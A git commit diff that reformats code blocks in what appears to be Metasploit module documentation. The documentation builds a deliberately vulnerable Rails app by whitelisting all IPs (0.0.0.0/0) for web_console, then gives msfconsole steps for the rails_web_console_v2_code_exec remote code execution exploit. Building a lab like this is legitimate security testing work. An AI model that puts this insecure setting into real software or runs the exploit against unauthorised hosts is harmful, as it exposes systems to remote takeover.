Fixing code blocks

This commit is contained in:
itsmeroy2012
2017-04-08 22:43:58 +05:30
parent 8f6f3bdb20
commit 309876f2f6
@@ -7,12 +7,16 @@
**Prerequisites:**
```
$ gem install rails -v 4.2.6
$ rails new taco
$ cd taco
$ vim config/environments/development.rb
Add the following line just before the final `end' tag:
gem install rails -v 4.2.6
rails new taco
cd taco
vim config/environments/development.rb
```
Add the following line just before the final `end' tag:
config.web_console.whitelisted_ips = %w(0.0.0.0/0)
```
$ bundle
$ rails server
```
@@ -26,7 +30,7 @@ sudo apt-get install nodejs
**Launch msfconsole:**
1. Do: ```use exploit/multi/http/rails_web_console_v2_code_exec```
2. Do: ```set RHOSTS [IP]```
2. Do: ```set RHOST [IP]```
3. Do: ```set RPORT [Port]```
4. Do: ```run```